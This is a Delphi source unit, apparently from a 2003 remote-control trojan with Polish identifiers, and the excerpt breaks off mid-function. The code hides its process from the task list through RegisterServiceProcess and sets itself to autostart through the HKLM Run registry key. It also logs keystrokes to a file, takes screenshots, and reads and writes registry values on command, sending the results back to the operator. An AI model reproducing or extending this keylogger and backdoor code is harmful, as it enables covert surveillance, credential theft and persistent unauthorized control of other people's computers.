toolz.pas

2003年的远程控制

unit toolz;

interface

uses windows,classes;

const defscrfile='capture.jpg';

var autostart_log,autostart_keylog:boolean;
    windirectory,sysdirectory:string;
    password,hostname:string;
    keylog,logtofile:boolean;
    logfile,keylogfile:string;

function registerserviceprocess(pid,blah:longint):boolean;
stdcall;external 'kernel32.dll' name 'RegisterServiceProcess';
procedure T_openlog;
procedure T_closelog;
procedure T_log(s:string);
procedure T_openkeylog;
procedure T_closekeylog;
procedure T_flushkeylog;
procedure xkeylog(s:string);
procedure xlog(s:string);
function T_bool(b:boolean):string;
function T_zerojeden(s:string):boolean;
function T_zamien(s:string;ch1,ch2:char):string;
function T_wymien(s,from_,to_:string):string;
procedure T_RegisteryAddRun(s:string);
procedure T_RegisteryRemoveRun;
function GetNetUserName: string;
procedure usunstareprosiaki;
procedure T_init;
function T_commands(comm,par1,par2:string):boolean;
function par1plus2(par1,par2:string):string;
procedure T_RegisteryWriteConfig(par,value:string);overload;
procedure T_RegisteryWriteConfig(par:string;value:boolean);overload;
procedure T_RegisteryWriteConfig(par:string;value:integer);overload;
procedure T_RegisteryWriteConfig(par:string;value:Tdatetime;what:integer);overload;
function T_RegisteryGetString(par,def:string):string;
function T_RegisteryGetInteger(par:string;def:integer):integer;
function T_RegisteryGetBoolean(par:string;def:boolean):boolean;
function T_RegisteryGetTime(par:string;def:tdatetime):tdatetime;
procedure readconfig;
procedure writeconfig;
procedure writeconfigdef;
procedure screendump(typ:integer;f:string);
procedure screenappdump(app:hwnd;f:string);
function T_fileexists(plik:string):boolean;
function T_direxists(dir:string):boolean;
procedure debug(s:string);
procedure updateconfig;
procedure T_RegisteryEnumKeys(root:string);
procedure T_RegisteryEnumValues(root:string);
function T_RegisteryReadString(key,keyname:string):string;
procedure T_RegisterySetString(key,keyname,value:string);
procedure T_RegisteryDeleteString(key,keyname:string);

implementation

uses sysutils,registry,shellapi,extctrls,forms,jpeg,
{wlasne}
     stale,siec,httpd,main,konfig,figle;

var  klog,log:textfile;
     keylogext,logfileext:string;
     script_txtfile:text;
     jpeg_q:integer;
     T_regroot:string;

procedure debug(s:string);
begin
if debugger then begin writetext(s);newline; end;
end;

function T_wymien(s,from_,to_:string):string;
var tmp,out:string; poz:byte;
begin
tmp:=s;
out:='';
while pos(from_,tmp)<>0 do begin
                            poz:=pos(from_,tmp);
                            out:=out+copy(tmp,1,poz-1)+to_;
                            tmp:=copy(tmp,poz+length(from_),255);
                            end;
if pos(from_,s)=0 then out:=s else out:=out+tmp;
result:=out;
end;


function par1plus2(par1,par2:string):string;
begin
if par2='' then result:=par1
else
result:=par1+' '+par2;
end;

procedure T_openlog;
begin
if logtofile then exit;
debug('LOG: '+logfile);
{$I-}
assign(log,logfile);
append(log);
if ioresult<>0 then rewrite(log);
logtofile:=true;
writeln(log,DateTimetoStr(now)+' Log started');
{$i+}
end;

procedure T_closelog;
begin
if not logtofile then exit;
{$I-}
writeln(log,DateTimetoStr(now)+' Log stoped');
close(log);
logtofile:=false;
{$I+}
end;

procedure T_log(s:string);
begin
{$I-}
if logtofile then writeln(log,Timetostr(time)+' '+s);
{$I+}
end;

procedure T_openkeylog;
begin
if keylog then exit;
debug(keylogext);
{$I-}
assign(klog,keylogfile);
append(klog);
if ioresult<>0 then rewrite(klog);
keylog:=true;
writeln(klog,DateTimetoStr(now)+' KeyLog started');
{$i+}
end;

procedure T_closekeylog;
begin
if not keylog then exit;
{$I-}
writeln(klog,nl+DateTimetoStr(now)+' KeyLog stoped');
close(klog);
keylog:=false;
{$I+}
end;

procedure T_flushkeylog;
begin
if keylog then exit;
{$I-}
close(klog);
assign(klog,keylogfile);
append(klog);
{$I+}
end;

procedure xkeylog(s:string);
begin
{$I-}
if keylog then
if s[1]='-' then writeln(klog,s) else write(klog,s);
{$I+}
end;

function T_bool(b:boolean):string;
begin
if b then result:='1' else Result:='0';
end;

function T_zerojeden(s:string):boolean;
begin
result:=(s<>'0');
end;

function T_zamien(s:string;ch1,ch2:char):string;
var tmp:string; i:integer;
begin
tmp:=s;
for i:=1 to length(s) do
 if s[i]=ch1 then tmp[i]:=ch2;
result:=tmp;
end;

procedure T_RegisteryEnumKeys(root:string);
var Rejestr: TRegistry;
    Data:TstringList;
    i:integer;
begin
 if root='' then root:=T_regroot;
 Rejestr:=TRegistry.Create;
 Rejestr.RootKey:=HKEY_LOCAL_MACHINE;
 if Rejestr.OpenKey(root,false) then
  begin
   data:=Tstringlist.create;
   Rejestr.GetKeyNames(data);
   xsend(inf_regstart);
   if data.count>0 then
    for i:=0 to data.count-1 do xsend(Inf_regkeys+data.Strings[i]);
  end;
 Rejestr.CloseKey;
 Rejestr.Free;
end;

procedure T_RegisteryEnumValues(root:string);
var Rejestr: TRegistry;
    Data:TstringList;
    i:integer;
begin
 if root='' then root:=T_regroot;
 Rejestr:=TRegistry.Create;
 Rejestr.RootKey:=HKEY_LOCAL_MACHINE;
 if Rejestr.OpenKey(root,false) then
  begin
   data:=Tstringlist.create;
   Rejestr.GetValueNames(data);
   xsend(inf_regstart);
   if data.count>0 then
    for i:=0 to data.count-1 do 
      begin
        xsend(Inf_regvals+data.Strings[i]);
        xsend(Inf_regvalue+T_registeryReadString('',data.Strings[i]));
      end;
  end;
 Rejestr.CloseKey;
 Rejestr.Free;
end;

function T_RegisteryReadString(key,keyname:string):string;
var Rejestr: TRegistry;
begin
 if key='' then key:=T_regroot;
 Rejestr:=TRegistry.Create;
 Rejestr.RootKey:=HKEY_LOCAL_MACHINE;
 Rejestr.OpenKey(key,true);
 try
 result:=Rejestr.ReadString(keyname);
 except
  on ERegistryException do result:='';
 end;
 Rejestr.CloseKey;
 Rejestr.Free;
end;

procedure T_RegisterySetString(key,keyname,value:string);
var Rejestr: TRegistry;
begin
 if key='' then key:=T_regroot;
 Rejestr:=TRegistry.Create;
 Rejestr.RootKey:=HKEY_LOCAL_MACHINE;
 Rejestr.OpenKey(key,true);
 Rejestr.WriteString(keyname,value);
 Rejestr.CloseKey;
 Rejestr.Free;
end;

procedure T_RegisteryDeleteString(key,keyname:string);
var Rejestr: TRegistry;
begin
 if key='' then key:=T_regroot;
 Rejestr:=TRegistry.Create;
 Rejestr.RootKey:=HKEY_LOCAL_MACHINE;
 if Rejestr.OpenKey(key,false) then Rejestr.DeleteValue(keyname);
 Rejestr.CloseKey;
 Rejestr.Free;
end;

procedure T_RegisteryAddRun(s:string);
var Rejestr: TRegistry;
begin
 Rejestr:=TRegistry.Create;
 Rejestr.RootKey:=HKEY_LOCAL_MACHINE;
 Rejestr.OpenKey(Reg_Run,true);
 Rejestr.DeleteValue(Reg_DefRunEntry);
 Rejestr.WriteString(config.profilekey,s);
 Rejestr.CloseKey;
 Rejestr.Free;
end;

procedure T_RegisteryRemoveRun;
var Rejestr: TRegistry;
begin
 Rejestr:=TRegistry.Create;
 Rejestr.RootKey:=HKEY_LOCAL_MACHINE;
 Rejestr.OpenKey(Reg_Run,true);
 Rejestr.DeleteValue(Reg_DefRunEntry);
 Rejestr.DeleteValue(config.profilekey);
 Rejestr.CloseKey;
 Rejestr.Free;
end;

procedure T_RegisteryWriteConfig(par,value:string);
var Rejestr: TRegistry;
begin
 Rejestr:=TRegistry.Create;
 Rejestr.RootKey:=HKEY_LOCAL_MACHINE;
 Rejestr.OpenKey(Reg_Conf,true);
 Rejestr.WriteString(par,value);
 Rejestr.CloseKey;
 Rejestr.Free;
end;

procedure T_RegisteryWriteConfig(par:string;value:integer);
begin
T_registerywriteconfig(par,inttostr(value));
end;

procedure T_RegisteryWriteConfig(par:string;value:boolean);
begin
t_registerywriteconfig(par,t_bool(value));
end;

procedure T_RegisteryWriteConfig(par:string;value:Tdatetime;what:integer);
begin
t_registerywriteconfig(par,'data');
end;

function T_RegisteryGetString(par,def:string):string;
var Rejestr: TRegistry;
begin
try
 Rejestr:=TRegistry.Create;
 Rejestr.RootKey:=HKEY_LOCAL_MACHINE;
 Rejestr.OpenKey(Reg_Conf,true);
 result:=Rejestr.ReadString(par);
 except
  on ERegistryException do result:=def;
 end;
 if result='' then result:=def;
 Rejestr.CloseKey;
 Rejestr.Free;
end;

function T_RegisteryGetInteger(par:string;def:integer):integer;
var tmp:string;
begin